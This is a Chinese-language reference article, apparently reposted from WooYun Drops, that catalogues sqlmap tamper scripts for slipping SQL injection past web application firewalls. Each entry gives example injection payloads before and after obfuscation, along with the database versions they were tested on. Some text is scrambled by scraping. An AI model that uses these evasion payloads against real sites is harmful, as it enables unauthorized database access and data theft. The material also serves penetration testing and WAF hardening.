使用sqlmap中tamper脚本绕过waf

时间 2019-12-11

标签使用 sqlmap tamper 脚本绕过 waf 繁體版

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使用sqlmap中tamper脚本绕过waf

刘海哥 · 2015/02/02 11:26

0x00 背景

sqlmap中的tamper脚原本对目标进行更高效的攻击。html

因为乌云知识库少了sqlmap-tamper 收集一下，方便学习。根据sqlmap中的tamper脚本能够学习过绕过一些技巧。我收集在找相关的案例做为可分析什么环境使用什么tamper脚本。小学生毕业的我，着能偷偷说一下多作一些收集对吸取知识很快。mysql

0x01 start

脚本名：apostrophemask.py

做用：用utf8代替引号sql

 
        Example: ( 
        "1 AND '1'='1" 
        ) '1  
        AND 
        %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all数据库

脚本名：equaltolike.py

做用：like 代替等号app

 
        Example: 
       
        *   Input:  
        SELECT 
        *  
        FROM 
        users  
        WHERE 
        id=1 
       
        *    
        Output 
        :  
        SELECT 
        *  
        FROM 
        users  
        WHERE 
        id  
        LIKE 
        1

案例一: http://wooyun.org/bugs/wooyun-2010-087296dom

案例二: http://wooyun.org/bugs/wooyun-2010-074790post

案例三：http://wooyun.org/bugs/wooyun-2010-072489学习

脚本名：space2dash.pyui

做用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）编码

 
        Example: ( 
        '1 AND 9227=9227' 
        )  
        '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一：http://wooyun.org/bugs/wooyun-2010-062878

脚本名：greatest.py

做用：绕过过滤’>’ ,用GREATEST替换大于号。

 
        Example: ( 
        '1 AND A > B' 
        )  
        '1 AND GREATEST(A,B+1)=A' 
        Tested against: * MySQL 4, 5.0  
        and 
        5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名：space2hash.py

做用：空格替换为#号随机字符串以及换行符

 
        Example: 
       
        *   Input: 1  
        AND 
        9227=9227 
       
        *    
        Output 
        : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

MySQL Tested against:
MySQL 4.0, 5.0

参考:法克的一篇文章

脚本名：apostrophenullencode.py

做用：绕过过滤双引号，替换字符和双引号。

 
        Example: tamper( 
        "1 AND '1'='1" 
        ) '1  
        AND 
        %00%271%00%27=%00%271'

Tested against:

MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

脚本名：halfversionedmorekeywords.py

做用：当数据库为mysql时绕过防火墙，每一个关键字以前添加mysql版本评论

 
        Example: 
       
        ( 
        "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" 
        )  
        "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

MySQL < 5.1

Tested against:

MySQL 4.0.18, 5.0.22

脚本名：space2morehash.py

做用：空格替换为 #号以及更多随机字符串换行符

 
        Example:  
       
        * Input: 1  
        AND 
        9227=9227  
       
        *  
        Output 
        : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

脚本名：appendnullbyte.py

做用：在有效负荷结束位置加载零字节字符编码

 
        Example: ( 
        '1 AND 1=1' 
        )  
        '1 AND 1=1%00'

Requirement:

Microsoft Access

脚本名：ifnull2ifisnull.py

做用：绕过对 IFNULL 过滤。替换相似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

 
        Example: 
       
        ( 
        'IFNULL(1, 2)' 
        )  
        'IF(ISNULL(1),2,1)'

Requirement:

MySQL
SQLite (possibly)
SAP MaxDB (possibly)

Tested against:

MySQL 5.0 and 5.5

脚本名：space2mssqlblank.py(mssql)

做用：空格替换为其它空符号

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名：base64encode.py

做用：用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名：space2mssqlhash.py

做用：替换空格

 
        Example: ( 
        '1 AND 9227=9227' 
        )  
        '1%23%0AAND%23%0A9227=9227' 
        Requirement: * MSSQL * MySQL

脚本名：modsecurityversioned.py

做用：过滤空格，包含完整的查询版本注释

 
        Example: ( 
        '1 AND 2>1--' 
        )  
        '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

MySQL 5.0

脚本名：space2mysqlblank.py

做用：空格替换其它空白符号(mysql)

 
        Example:  
       
        * Input:  
        SELECT 
        id  
        FROM 
        users  
       
        *  
        Output 
        :  
        SELECT 
        %0Bid%0BFROM%A0users

Requirement:

MySQL

Tested against:

MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名：between.py

做用：用between替换大于号（>）

 
        Example: ( 
        '1 AND A > B--' 
        )  
        '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名：space2mysqldash.py

做用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）

注：以前有个mssql的这个是mysql的

 
        Example: ( 
        '1 AND 9227=9227' 
        )  
        '1--%0AAND--%0A9227=9227'

Requirement:

MySQL
MSSQL

脚本名：multiplespaces.py

做用：围绕SQL关键字添加多个空格

 
        Example: ( 
        '1 UNION SELECT foobar' 
        )  
        '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名：space2plus.py

做用：用+替换空格

 
        Example: ( 
        'SELECT id FROM users' 
        )  
        'SELECT+id+FROM+users' 
        Tested against:  
        all

脚本名：bluecoat.py

做用：代替空格字符后与一个有效的随机空白字符的SQL语句。而后替换=为like

 
        Example: ( 
        'SELECT id FROM users where id = 1' 
        )  
        'SELECT%09id FROM users where id LIKE 1'

Tested against:

MySQL 5.1, SGOS

脚本名：nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

 
        Example: ( 
        '1 UNION SELECT 2--' 
        )  
        '1 UNIOUNIONN SELESELECTCT 2--' 
        Tested against:  
        all

脚本名：space2randomblank.py

做用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集

 
        Example: ( 
        'SELECT id FROM users' 
        )  
        'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

脚本名：sp_password.py

做用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

 
        Example: ( 
        '1 AND 9227=9227-- ' 
        )  
        '1 AND 9227=9227-- sp\_password' 
        Requirement: * MSSQL

脚本名：chardoubleencode.py

做用: 双url编码(不处理以编码的)

 
        Example:  
       
        * Input:  
        SELECT 
        FIELD  
        FROM 
        %20TABLE  
       
        *  
        Output 
        : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名：unionalltounion.py

做用：替换UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

脚本名：charencode.py

做用：url编码

 
        Example: 
       
        *   Input:  
        SELECT 
        FIELD  
        FROM 
        %20TABLE 
       
        *    
        Output 
        : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

脚本名：randomcase.py

做用：随机大小写 Example:

Input: INSERT
Output: InsERt

Tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

脚本名：unmagicquotes.py

做用：宽字符绕过 GPC addslashes

 
        Example:  
       
        * Input: 1′  
        AND 
        1=1  
       
        *  
        Output 
        : 1%bf%27  
        AND 
        1=1–%20

脚本名：randomcomments.py

做用：用/**/分割sql关键字

 
        Example: 
       
        ‘ 
        INSERT 
        ’ becomes ‘ 
        IN 
        //S//ERT’

脚本名：charunicodeencode.py

做用：字符串 unicode 编码

 
        Example:  
       
        * Input:  
        SELECT 
        FIELD%20FROM  
        TABLE 
       
        *  
        Output 
        : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

ASP
ASP.NET

Tested against:

Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名：securesphere.py

做用：追加特制的字符串

 
        Example: ( 
        '1 AND 1=1' 
        )  
        "1 AND 1=1 and '0having'='0having'"

Tested against: all

脚本名：versionedmorekeywords.py

做用：注释绕过

 
   
    
      
      
        Example:  
       

           
       
 
        * Input: 1  
        UNION 
        ALL 
        SELECT 
        NULL 
        ,  
        NULL 
        , CONCAT( 
        CHAR 
        (58,122,114,115,58),IFNULL( 
        CAST 
        ( 
        CURRENT_USER 
        ()  
        AS 
        CHAR 
        ), 
        CHAR 
        (32)), 
        CHAR 
        (58,115,114,121,58))#  
       

           
       
 
        *  
        Output 
        : 1/*! 
        UNION 
        **! 
        ALL 
        **! 
        SELECT 
        **! 
        NULL 
        */,/*! 
        NULL 
        */,/*!CONCAT*/(/*! 
        CHAR 
        */(58,122,114,115,58),/*!IFNULL*/( 
        CAST 
        (/*! 
        CURRENT_USER 
        */()/*! 
        AS 
        **! 
        CHAR 
        */),/*! 
        CHAR 
        */(32)),/*! 
        CHAR 
        */(58,115,114,121,58))#  
       
 
    
 
   
 

Requirement:

MySQL >= 5.1.13

脚本名：space2comment.py

做用：Replaces space character (‘ ‘) with comments ‘/**/’

 
        Example:  
       
        * Input:  
        SELECT 
        id  
        FROM 
        users  
       
        *  
        Output 
        :  
        SELECT 
        //id// 
        FROM 
        /**/users

Tested against:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名：halfversionedmorekeywords.py

做用：关键字前加注释

 
        Example:  
       
        * Input: value’  
        UNION 
        ALL 
        SELECT 
        CONCAT( 
        CHAR 
        (58,107,112,113,58),IFNULL( 
        CAST 
        ( 
        CURRENT_USER 
        ()  
        AS 
        CHAR 
        ), 
        CHAR 
        (32)), 
        CHAR 
        (58,97,110,121,58)),  
        NULL 
        ,  
        NULL 
        #  
        AND 
        ‘QDWa’= 
        'QDWa  
       
        * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' 
        QDWa

Requirement:

MySQL < 5.1

Tested against:

MySQL 4.0.18, 5.0.22

收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html

原文连接：http://drops.wooyun.org/tools/4760